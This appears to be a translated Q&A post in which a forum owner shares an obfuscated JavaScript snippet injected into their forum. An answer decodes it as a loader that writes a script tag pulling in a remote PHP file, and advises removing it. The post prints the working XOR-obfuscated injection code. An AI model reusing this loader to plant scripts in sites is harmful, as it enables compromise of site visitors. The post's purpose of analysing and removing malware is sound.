Javascript encoded? var enkripsi

Javascript encoded? var enkripsi

本文关键字:enkripsi var encoded Javascript      更新时间:2023-09-26

有人使用一个奇怪的脚本来窃听我的论坛,我跟踪了它并找到了javascript,但它是"编码的",有人能帮我吗?

在这里:

var enkripsi="'1Aqapkrv'02v
    {
    rg'1F'05vgzv-hctcqapkrv'05'02qpa'1F'05cqw,rjr'05'1G'1A-qapkrv'1G";
    teks="";
    teksasli="";
    var panjang;
    panjang=enkripsi.length;
    for(i=0;
    i<panjang;
    i++)
        {
        teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
    }
    teksasli=unescape(teks);
    document.write(teksasli);

它将以下标记插入到您的输出中:

<script type='text/javascript' src='***.php'></script>

只需在某个JavaScript解释器中运行代码,并将末尾的document.write()替换为类似console.log()的内容,就可以看到输出。

我想这是某种蠕虫,建议从系统中删除此代码和附带的文件***.php。此外,请检查这是否是对代码的唯一修改!